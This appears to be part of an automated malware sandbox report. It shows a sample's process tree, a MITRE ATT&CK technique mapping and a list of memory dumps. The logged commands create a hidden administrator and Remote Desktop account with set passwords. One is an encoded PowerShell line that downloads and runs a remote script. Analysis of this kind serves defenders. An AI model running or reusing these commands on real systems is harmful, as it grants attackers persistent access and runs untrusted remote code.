  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:3960

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:912
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:184

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:3960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:2188

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc kYvjN912
1⤵
PID:3964
- C:\Windows\system32\net.exe
  net.exe user wgautilacc kYvjN912
  2⤵
  PID:3872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc kYvjN912
    3⤵
    PID:1428

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1172
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:1656

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1428
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:912

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1656
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3872

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:4196
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:4236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:4256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2128-124-0x00000214FF960000-0x00000214FF962000-memory.dmp

Filesize
8KB

Download
memory/2128-127-0x00000214FF966000-0x00000214FF967000-memory.dmp

Filesize
4KB

Download
memory/2128-126-0x00000214FF965000-0x00000214FF966000-memory.dmp

Filesize
4KB

Download
memory/2128-125-0x00000214FF963000-0x00000214FF965000-memory.dmp

Filesize
8KB

Download
memory/2128-122-0x0000021499400000-0x0000021499821000-memory.dmp

Filesize
4.1MB

Download
memory/2168-160-0x0000027FAF1C0000-0x0000027FAF1C1000-memory.dmp

Filesize
4KB

Download
memory/2168-133-0x0000027F96350000-0x0000027F96351000-memory.dmp

Filesize
4KB

Download
memory/2168-136-0x0000027FAEA00000-0x0000027FAEA01000-memory.dmp

Filesize
4KB

Download
memory/2168-143-0x0000027FAE7F0000-0x0000027FAE7F2000-memory.dmp

Filesize
8KB

Download
memory/2168-161-0x0000027FAF550000-0x0000027FAF551000-memory.dmp

Filesize
4KB

Download
memory/2168-144-0x0000027FAE7F3000-0x0000027FAE7F5000-memory.dmp

Filesize
8KB

Download
memory/2168-216-0x0000027FAE7F8000-0x0000027FAE7F9000-memory.dmp

Filesize
4KB

Download
memory/2168-145-0x0000027FAE7F6000-0x0000027FAE7F8000-memory.dmp

Filesize
8KB

Download
memory/2168-153-0x0000027F963A0000-0x0000027F963A1000-memory.dmp

Filesize
4KB

Download
memory/2416-206-0x000001789B0D8000-0x000001789B0DA000-memory.dmp

Filesize
8KB

Download
memory/2416-205-0x000001789B0D6000-0x000001789B0D8000-memory.dmp

Filesize
8KB

Download
memory/2416-177-0x000001789B0D0000-0x000001789B0D2000-memory.dmp

Filesize
8KB

Download
memory/2416-178-0x000001789B0D3000-0x000001789B0D5000-memory.dmp

Filesize
8KB

Download
memory/2984-209-0x00000215370C0000-0x00000215370C2000-memory.dmp

Filesize
8KB

Download
memory/2984-211-0x00000215370C6000-0x00000215370C8000-memory.dmp

Filesize
8KB

Download
memory/2984-210-0x00000215370C3000-0x00000215370C5000-memory.dmp

Filesize
8KB

Download
memory/3872-249-0x000001BCEF833000-0x000001BCEF835000-memory.dmp

Filesize
8KB

Download
memory/3872-251-0x000001BCEF838000-0x000001BCEF839000-memory.dmp

Filesize
4KB

Download
memory/3872-250-0x000001BCEF836000-0x000001BCEF838000-memory.dmp

Filesize
8KB

Download
memory/3872-248-0x000001BCEF830000-0x000001BCEF832000-memory.dmp

Filesize
8KB

Download
memory/3936-213-0x00000272FBB90000-0x00000272FBB92000-memory.dmp

Filesize
8KB

Download
memory/3936-215-0x00000272FBB96000-0x00000272FBB98000-memory.dmp

Filesize
8KB

Download
memory/3936-214-0x00000272FBB93000-0x00000272FBB95000-memory.dmp

Filesize
8KB

Download
memory/4048-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/4048-114-0x0000000002110000-0x00000000021A1000-memory.dmp

Filesize
580KB

Download